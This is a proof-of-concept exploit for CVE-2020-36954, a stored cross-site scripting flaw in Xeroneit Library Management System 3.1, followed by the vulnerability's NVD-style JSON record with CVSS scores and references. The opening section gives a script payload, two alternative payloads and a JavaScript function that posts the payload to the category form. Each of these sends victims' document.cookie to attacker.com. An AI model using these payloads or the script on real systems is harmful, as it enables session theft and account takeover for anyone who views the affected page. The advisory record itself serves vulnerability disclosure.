CVE-2020-36954

// CVE-2020-36954 PoC - Stored XSS in Xeroneit LMS Book Category // Target: Xeroneit Library Management System 3.1 // Attack Vector: Inject malicious JavaScript in Category Name field // Login to the admin panel // Navigate to: Book Category Management // In the Category Name field, inject the following payload: const xssPayload = `<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>`; // Alternative payloads: // <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> // <svg/onload=fetch('https://attacker.com/steal?c='+btoa(document.cookie))> // Steps: // 1. Authenticate as admin user // 2. Navigate to Book Category management section // 3. Enter the XSS payload in Category Name field // 4. Submit the form to save the category // 5. When any user views the category list, the XSS will execute // Example exploit script: function exploitXSS() { const targetUrl = 'http://target.com/lms/admin/category/add'; const payload = '<script>new Image().src="http://attacker.com/log?c="+encodeURIComponent(document.cookie)</script>'; const formData = new FormData(); formData.append('category_name', payload); formData.append('submit', 'Save'); fetch(targetUrl, { method: 'POST', body: formData, credentials: 'include' }); }

{"cve": {"id": "CVE-2020-36954", "sourceIdentifier": "[email protected]", "published": "2026-01-26T18:16:25.957", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xeroneit Library Management System 3.1 contains a stored cross-site scripting vulnerability in the Book Category feature that allows administrators to inject malicious scripts. Attackers can insert a payload in the Category Name field to execute arbitrary JavaScript code when the page is loaded."}, {"lang": "es", "value": "Xeroneit Library Management System 3.1 contiene una vulnerabilidad de cross-site scripting almacenado en la función de Categoría de Libros que permite a los administradores inyectar scripts maliciosos. Los atacantes pueden insertar una carga útil en el campo Nombre de Categoría para ejecutar código JavaScript arbitrario cuando se carga la página."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49292", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/xeroneit-library-management-system-add-book-category-stored-xss", "source": "[email protected]"}, {"url": "https://xeroneit.net/", "source": "[email protected]"}, {"url": "https://xeroneit.net/portfolio/library-management-system-lms", "source": "[email protected]"}]}}